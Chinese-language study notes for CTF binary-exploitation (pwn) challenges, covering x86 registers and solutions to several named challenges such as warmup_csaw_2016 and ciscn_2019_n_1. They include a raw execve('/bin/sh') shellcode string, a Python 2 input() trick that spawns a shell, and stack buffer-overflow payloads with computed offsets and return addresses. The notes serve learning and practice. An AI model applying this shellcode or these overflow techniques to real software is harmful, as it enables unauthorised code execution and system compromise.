寄存器
EAX
EBX
ECX
EDX
EDI
ESI
EBP指向系统栈最上面一个栈帧的底部。
ESP保存当前 Stack 的地址
汇编指令
指令 | 平台 | 作用 |
---|---|---|
ucomiss | x86 | 浮点比较 |
Paragraph | Text | And more |
shallcode
char * input = (char *) malloc(sizeof(char)*256);
read(0, input, 256);
((void (*)())(input))();
把字符串当函数执行,直接跑shallcode脚本,然后手动cat flag
payload = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
python2 input
while True:
input(">")
python2的input() 能自动识别出输入的类型,将输入内容转换为对应类型(str、int、float)
输入3+2返回就是5
写脚本 import(‘os’).system(‘/bin/sh’)
然后cat flag
gets返回覆盖
warmup_csaw_2016
脚本如下gets中的录入长度+ebp大小(64位是8)+p64(被调函数地址)
payload = b’a’ * (0x40 + 8) + p64(0x400611)
gets任意写
ciscn_2019_n_1
v2开始位置是rbp-4h
v1开始位置是rbp-30h
需要覆盖0x30-0x4=44
发现func函数的浮点比较命令,跳转dword_4007F4,可以拿到11.28125对应的十六进制41348000h
payload = b"A" * 44 + p64(0x41348000)
printf溢出读
pwn1_sctf_2016
s大小位3C即60
而fgets限制输入32
发现18行有一个替换操作,猜想"I"被替代为了"You"
nc连接发现确实是这样
那可以构建
payload = b"I" * 20 + b’a’ * 4 + p64(0x8048F0D)
read任意读
StackOverFlow
没啥说的,注意一下32位程序,ebp是4
payload = b"a" * (72 + 4) + p32(0x8048EE0)